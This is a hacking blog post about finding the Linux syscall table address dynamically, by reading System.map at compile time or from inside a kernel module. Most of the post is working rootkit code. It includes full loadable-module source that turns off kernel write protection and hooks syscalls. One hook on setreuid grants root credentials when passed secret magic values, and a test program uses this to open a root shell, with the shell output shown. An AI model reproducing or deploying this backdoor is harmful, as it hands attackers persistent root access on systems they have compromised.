Hi. In this post I’ll show you how to obtain dynamically the syscall table address. In the last posts (this and this) I wrote codes in which the syscall table address was hardcoded (as suggested by sj).

Now I’ll show you how to dinamically obtain it.

Searching online you’ll see that there are lot of functions that seek the syscall address between some other variable addresses defined in “/boot/System.map-kerne_version”.

Here is an example (by kerneltrap.org):

unsigned long **find_sys_call_table(void) { unsigned long **sctable; unsigned long ptr; extern int loops_per_jiffy; sctable = NULL; for (ptr = (unsigned long)&loops_per_jiffy; ptr < (unsigned long)&boot_cpu_data; ptr += sizeof(void *)) { unsigned long *p; p = (unsigned long *)ptr; if (p[__NR_close] == (unsigned long) sys_close) { sctable = (unsigned long **)p; return &sctable[0]; } } return NULL; }

This function searches the syscall address between the “loops_per_jiffy” and “cpu_boot_data” addresses. This code doesn’t make sense in the lastest kernel releases because “loops_per_jiffy” has been “moved”, so sys_call_table is not between it and “boot_cpu_data” any more. Furthermore, it is based on the erroneous assumption that “sys_call_table” is always between two fixed addresses. Its position may change and this is true not only for the lastest kernel release, but also for the older ones.

For example in my ubuntu machine (kernel 2.6.35-24-generic):

spaccio@spaccio-laptop:~$ cat /boot/System.map-2.6.35-24-generic |grep -e "D loops_per_jiffy" -e "sys_call_table" -e "D boot_cpu_data" c05d3180 R sys_call_table c07c8bc8 D loops_per_jiffy c0815040 D boot_cpu_data spaccio@spaccio-laptop:~$

As you can see:

c05d3180 (sys_call_table) < c07c8bc8 (loops_per_jiffy) < c0815040 (boot_cpu_data)

So: how can we be sure to obtain the correct address?

We can do a brute force scan on memory addresses searching for the syscall table address: but this is a bad solution.

Instead I’ve found two solutions: the first one finds the address at compile-time; the second one finds the address at run-time when the kernel module is loaded into the memory.

– Finding syscall table address at compile-time

We can simply obtain the syscall table address using some shell (bash) commands in the “Makefile”. So at first we scan the “System.map-kernel_version” file searching for the syscall address. Next we replace it into the kernel module and we compile it as usual.

Here is the bash command that finds the syscall table address into “System.map-kernel_version”:

spaccio@spaccio-laptop:~$ grep sys_call_table /boot/System.map-$(uname -r) |awk '{print $1}' c05d3180 spaccio@spaccio-laptop:~$

So we have to write a bash executable (compile.sh) that:

– finds the syscall table address;

– inserts it into the .c source;

– runs the Makefile;

Here is the bash file (“compile.sh”):

#!/bin/bash TABLE=$(grep sys_call_table /boot/System.map-$(uname -r) |awk '{print $1}') sed -i s/TABLE/$TABLE/g hijack.c make

spaccio@spaccio-laptop:~$ chmod +x compile.sh spaccio@spaccio-laptop:~$

Here is the “Makefile”:

obj-m := hijack.o KDIR := /lib/modules/$(shell uname -r)/build PWD := $(shell pwd) default: $(MAKE) -C $(KDIR) SUBDIRS=$(PWD) modules

Here is the LKM (“hijack.c”):

#include <linux/init.h> #include <linux/module.h> #include <linux/kernel.h> #include <linux/errno.h> #include <linux/types.h> #include <linux/unistd.h> #include <asm/cacheflush.h> #include <asm/page.h> #include <asm/current.h> #include <linux/sched.h> #include <linux/kallsyms.h> unsigned long *syscall_table = (unsigned long *)0xTABLE; asmlinkage int (*original_write)(unsigned int, const char __user *, size_t); asmlinkage int new_write(unsigned int fd, const char __user *buf, size_t count) { // hijacked write printk(KERN_ALERT "WRITE HIJACKED"); return (*original_write)(fd, buf, count); } static int init(void) { printk(KERN_ALERT "

HIJACK INIT

"); write_cr0 (read_cr0 () & (~ 0x10000)); original_write = (void *)syscall_table[__NR_write]; syscall_table[__NR_write] = new_write; write_cr0 (read_cr0 () | 0x10000); return 0; } static void exit(void) { write_cr0 (read_cr0 () & (~ 0x10000)); syscall_table[__NR_write] = original_write; write_cr0 (read_cr0 () | 0x10000); printk(KERN_ALERT "MODULE EXIT

"); return; } module_init(init); module_exit(exit);

We can compile it:

spaccio@spaccio-laptop:~$ sh compile.sh make -C /lib/modules/2.6.35-24-generic/build SUBDIRS=/home/spaccio/Hacking/Syscall_Hijack/mod2 modules make[1]: ingresso nella directory "/usr/src/linux-headers-2.6.35-24-generic" CC [M] /home/spaccio/Hacking/Syscall_Hijack/mod2/hijack.o /home/spaccio/Hacking/Syscall_Hijack/mod2/hijack.c: In function ‘init’: /home/spaccio/Hacking/Syscall_Hijack/mod2/hijack.c:33: warning: assignment makes integer from pointer without a cast /home/spaccio/Hacking/Syscall_Hijack/mod2/hijack.c: In function ‘exit’: /home/spaccio/Hacking/Syscall_Hijack/mod2/hijack.c:44: warning: assignment makes integer from pointer without a cast Building modules, stage 2. MODPOST 1 modules LD [M] /home/spaccio/Hacking/Syscall_Hijack/mod2/hijack.ko make[1]: uscita dalla directory "/usr/src/linux-headers-2.6.35-24-generic"

Now if you open the “hijack.c” file you’ll see that instead of the “TABLE” there is the syscall table address:

spaccio@spaccio-laptop:~$ cat hijack.c |grep *syscall_table unsigned long *syscall_table = (unsigned long *)0xc05d3180; spaccio@spaccio-laptop:~$

We can run it:

spaccio@spaccio-laptop:~$ sudo insmod hijack.ko spaccio@spaccio-laptop:~$

Great, it works!

This is a very simple, working and efficient solution, but I wanted a more sophisticated one.

– Finding syscall table address at run-time

I invented this method, so it might not be very elegant and/or efficient (any help will be appreciated for improvements). I wanted to open and search the syscall table address into the “System.map-kernel_version” file via a LKM.

In order to obtain the syscall table address at run-time we have to follow this steps:

1 – Find where the system stores the kernel version that we are using. When we have found the kernel version we can open the relative “/boot/System.map-kernel_version” file;

2 – Open the “/boot/System.map-kernel_version” file found at step 1.

3 – Search for the syscall table address and use it;

We can find the kernel version reading it from the “/proc/” filesystem. We are especially interested in a file:

spaccio@spaccio-laptop:~$ cat /proc/version Linux version 2.6.35-24-generic (buildd@vernadsky) (gcc version 4.4.5 (Ubuntu/Linaro 4.4.4-14ubuntu5) ) #42-Ubuntu SMP Thu Dec 2 01:41:57 UTC 2010 spaccio@spaccio-laptop:~$

The “version” file consists of a string describing the Linux kernel version number. It contains the version information that would be obtained by the uname (man uname) system call plus additional information such as the version of the compiler that was used to compile the kernel.

The following function opens the “/proc/version” file and tokenizes the string in order to obtain only the kernel version string:

... #define PROC_V "/proc/version" #define MAX_LEN 256 ... char *search_file(char *buf) { struct file *f; char *ver; mm_segment_t oldfs; oldfs = get_fs(); set_fs (KERNEL_DS); f = filp_open(PROC_V, O_RDONLY, 0); if ( IS_ERR(f) || ( f == NULL )) { return NULL; } memset(buf, 0, MAX_LEN); vfs_read(f, buf, MAX_LEN, &f->f_pos); ver = strsep(&buf, " "); ver = strsep(&buf, " "); ver = strsep(&buf, " "); printk(KERN_ALERT "Kernel version found: %s

", ver); filp_close(f, 0); set_fs(oldfs); return ver; }

As you can see, I open the “/proc/version” file and I read MAX_LEN byte from it. (If you want to know how we can open/read/write to a file in a kernel space, you should read this).

So we have in the “buf” variable a string: the string shows our kernel version and other informations. We only extract the kernel version through the “strsep()” function (man strsep). In kernel space we can’t use the “strtok()” function (it’s not defined), so we have to use the “strsep()” one.

Now we have the kernel version: we can proceed to the second and third steps.

First we must open the “/boot/System.map-kernel_version” file where we have to replace “kernel_version” with the kernel version found at step 1. We read strings line by line from this file until the “sys_call_table” string is found. We tokenize the string obtaining the relative address and we’ll use it to hijack the system calls we are interested.

Here is the code:

... #define BOOT_PATH "/boot/System.map-" ... static int find_sys_call_table (char *kern_ver) { char buf[MAX_LEN]; int i = 0; char *filename; char *p; struct file *f = NULL; mm_segment_t oldfs; oldfs = get_fs(); set_fs (KERNEL_DS); filename = kmalloc(strlen(kern_ver)+strlen(BOOT_PATH)+1, GFP_KERNEL); if ( filename == NULL ) { return -1; } memset(filename, 0, strlen(BOOT_PATH)+strlen(kern_ver)+1); strncpy(filename, BOOT_PATH, strlen(BOOT_PATH)); strncat(filename, kern_ver, strlen(kern_ver)); printk(KERN_ALERT "

Path %s

", filename); f = filp_open(filename, O_RDONLY, 0); if ( IS_ERR(f) || ( f == NULL )) { return -1; } memset(buf, 0x0, MAX_LEN); p = buf; while (vfs_read(f, p+i, 1, &f->f_pos) == 1) { if ( p[i] == '

' || i == 255 ) { i = 0; if ( (strstr(p, "sys_call_table")) != NULL ) { char *sys_string; sys_string = kmalloc(MAX_LEN, GFP_KERNEL); if ( sys_string == NULL ) { filp_close(f, 0); set_fs(oldfs); kfree(filename); return -1; } memset(sys_string, 0, MAX_LEN); strncpy(sys_string, strsep(&p, " "), MAX_LEN); syscall_table = (unsigned long long *) simple_strtoll(sys_string, NULL, 16); kfree(sys_string); break; } memset(buf, 0x0, MAX_LEN); continue; } i++; } filp_close(f, 0); set_fs(oldfs); kfree(filename); return 0; }

Code explanation:

– row 19: we allocate enaugh space to “filename” in order to contain the string “/boot/System.map-kernel_version”. The “kmalloc()” function is like the “malloc()” in kernel space. The second parameter is the kernel priority: “GFP_KERNEL” means “normal allocation”.

– rows 21 to 42: we open the “/boot/System.map-kernel_version” file;

– row 44: “p” points to “buf” because the “strsep()” function needs a “char **” as first parameter;

– row 46: in the “while” loop we read one byte at once (I want to store in “buf” only one line at once);

– row 48: if we have reached the end of line or we have read too much bytes, we can check for the “sys_call_table” string;

– rows 52 to 77: if there is match, we store into “sys_string” the first token of the line, that is:

c05d3180 R sys_call_table

As you can see the first token is exactly the syscall table address. In the row 72 we convert the address from a string format to a long integer through the “simple_strtoll()” function (it’s like the” strtoll()” function (man strtoll)). Next we assign this value to “syscall_table”.

– row 90: the “kfree()” function is like the “free()” function.

I show you the full module source code (“kernel_sys.c”): once we obtain the syscall table address we hijack the “__NR_setreuid32” syscall (I suggest you read this and this if you have not already done so):

#include <linux/init.h> #include <linux/kernel.h> #include <linux/module.h> #include <linux/proc_fs.h> #include <linux/syscalls.h> #include <linux/kallsyms.h> #include <linux/sched.h> #include <asm/uaccess.h> #include <asm/unistd.h> #include <linux/kernel.h> #include <linux/init.h> #include <linux/module.h> #include <linux/syscalls.h> #include <linux/file.h> #include <linux/fs.h> #include <linux/fcntl.h> #include <asm/uaccess.h> #include <linux/version.h> #include <linux/syscalls.h> #define PROC_V "/proc/version" #define BOOT_PATH "/boot/System.map-" #define MAX_LEN 256 unsigned long *syscall_table; int sys_found = 0; asmlinkage int (* orig_setreuid) (uid_t ruid, uid_t euid); asmlinkage int new_setreuid (uid_t ruid, uid_t euid) { struct cred *new; if ((ruid == 7310) && (euid == 0137)) { printk(KERN_ALERT "[Correct]

"); #if LINUX_VERSION_CODE < KERNEL_VERSION(2, 6, 29) current->uid = current -> gid = 0; current -> euid = current -> egid = 0; current -> suid = current -> sgid = 0; current -> fsuid = current -> fsgid = 0; #else new = prepare_creds(); if ( new != NULL ) { new->uid = new->gid = 0; new->euid = new->egid = 0; new->suid = new->sgid = 0; new->fsuid = new->fsgid = 0; commit_creds(new); } #endif return orig_setreuid (0, 0); } return orig_setreuid (ruid, euid); } char *search_file(char *buf) { struct file *f; char *ver; mm_segment_t oldfs; oldfs = get_fs(); set_fs (KERNEL_DS); f = filp_open(PROC_V, O_RDONLY, 0); if ( IS_ERR(f) || ( f == NULL )) { return NULL; } memset(buf, 0, MAX_LEN); vfs_read(f, buf, MAX_LEN, &f->f_pos); ver = strsep(&buf, " "); ver = strsep(&buf, " "); ver = strsep(&buf, " "); filp_close(f, 0); set_fs(oldfs); return ver; } static int find_sys_call_table (char *kern_ver) { char buf[MAX_LEN]; int i = 0; char *filename; char *p; struct file *f = NULL; mm_segment_t oldfs; oldfs = get_fs(); set_fs (KERNEL_DS); filename = kmalloc(strlen(kern_ver)+strlen(BOOT_PATH)+1, GFP_KERNEL); if ( filename == NULL ) { return -1; } memset(filename, 0, strlen(BOOT_PATH)+strlen(kern_ver)+1); strncpy(filename, BOOT_PATH, strlen(BOOT_PATH)); strncat(filename, kern_ver, strlen(kern_ver)); printk(KERN_ALERT "

Path %s

", filename); f = filp_open(filename, O_RDONLY, 0); if ( IS_ERR(f) || ( f == NULL )) { return -1; } memset(buf, 0x0, MAX_LEN); p = buf; while (vfs_read(f, p+i, 1, &f->f_pos) == 1) { if ( p[i] == '

' || i == 255 ) { i = 0; if ( (strstr(p, "sys_call_table")) != NULL ) { char *sys_string; sys_string = kmalloc(MAX_LEN, GFP_KERNEL); if ( sys_string == NULL ) { filp_close(f, 0); set_fs(oldfs); kfree(filename); return -1; } memset(sys_string, 0, MAX_LEN); strncpy(sys_string, strsep(&p, " "), MAX_LEN); syscall_table = (unsigned long long *) simple_strtoll(sys_string, NULL, 16); kfree(sys_string); break; } memset(buf, 0x0, MAX_LEN); continue; } i++; } filp_close(f, 0); set_fs(oldfs); kfree(filename); return 0; } static int init(void) { char *kern_ver; char *buf; buf = kmalloc(MAX_LEN, GFP_KERNEL); if ( buf == NULL ) { sys_found = 1; return -1; } printk(KERN_ALERT "

HIJACK INIT

"); kern_ver = search_file(buf); if ( kern_ver == NULL ) { sys_found = 1; return -1; } printk(KERN_ALERT "Kernel version found: %s

", kern_ver); if ( find_sys_call_table(kern_ver) == -1 ) { sys_found = 1; return -1; } sys_found = 0; write_cr0 (read_cr0 () & (~ 0x10000)); orig_setreuid = syscall_table[__NR_setreuid32]; syscall_table[__NR_setreuid32] = new_setreuid; write_cr0 (read_cr0 () | 0x10000); kfree(buf); return 0; } static void exit(void) { if ( sys_found == 0 ) { write_cr0 (read_cr0 () & (~ 0x10000)); syscall_table[__NR_setreuid32] = orig_setreuid; write_cr0 (read_cr0 () | 0x10000); } printk(KERN_ALERT "

HIJACK EXIT

"); return; } module_init(init); module_exit(exit);

The “sys_found” variable is used for control purposes.

Here is the Makefile:

obj-m := kernel_sys.o KDIR := /lib/modules/$(shell uname -r)/build PWD := $(shell pwd) default: $(MAKE) -C $(KDIR) SUBDIRS=$(PWD) modules

Here is our simple script (“test.c”):

#include <stdio.h> int main () { setreuid (7310, 0137); system ("/bin/sh"); return 0; }

We can compile it:

spaccio@spaccio-laptop:~$ make make -C /lib/modules/2.6.35-24-generic/build SUBDIRS=/home/spaccio/Hacking/Syscall_Hijack/mod modules make[1]: ingresso nella directory "/usr/src/linux-headers-2.6.35-24-generic" CC [M] /home/spaccio/Hacking/Syscall_Hijack/mod/kernel_sys.o /home/spaccio/Hacking/Syscall_Hijack/mod/kernel_sys.c: In function ‘find_sys_call_table’: /home/spaccio/Hacking/Syscall_Hijack/mod/kernel_sys.c:168: warning: cast to pointer from integer of different size /home/spaccio/Hacking/Syscall_Hijack/mod/kernel_sys.c:168: warning: assignment from incompatible pointer type /home/spaccio/Hacking/Syscall_Hijack/mod/kernel_sys.c: In function ‘init’: /home/spaccio/Hacking/Syscall_Hijack/mod/kernel_sys.c:221: warning: assignment makes pointer from integer without a cast /home/spaccio/Hacking/Syscall_Hijack/mod/kernel_sys.c:222: warning: assignment makes integer from pointer without a cast /home/spaccio/Hacking/Syscall_Hijack/mod/kernel_sys.c: In function ‘exit’: /home/spaccio/Hacking/Syscall_Hijack/mod/kernel_sys.c:239: warning: assignment makes integer from pointer without a cast Building modules, stage 2. MODPOST 1 modules CC /home/spaccio/Hacking/Syscall_Hijack/mod/kernel_sys.mod.o LD [M] /home/spaccio/Hacking/Syscall_Hijack/mod/kernel_sys.ko make[1]: uscita dalla directory "/usr/src/linux-headers-2.6.35-24-generic" spaccio@spaccio-laptop:~$

Next we load the module and we check if it finds the correct version of kernel and if it opens the relative “System.map-kernel_version”:

spaccio@spaccio-laptop:~$ sudo insmod kernel_sys.ko spaccio@spaccio-laptop:~$ dmesg | tail [ 5085.877145] HIJACK INIT [ 5085.877182] Kernel version found: 2.6.35-24-generic [ 5085.877189] [ 5085.877191] Path /boot/System.map-2.6.35-24-generic [ 5102.441298] spaccio@spaccio-laptop:~$

Everything seems right.

Now we can test it with our simple script (“test.c”):

spaccio@spaccio-laptop:~$ gcc test.c -o test spaccio@spaccio-laptop:~$ ./test # whoami root # exit

It seems to work! Wow…

– Conclusions

I’ve showed you two ways to find the syscall table address: one at compile-time and the other at run-time.

You can use what you want and if you have any questions or suggests you can use comments.

Bye.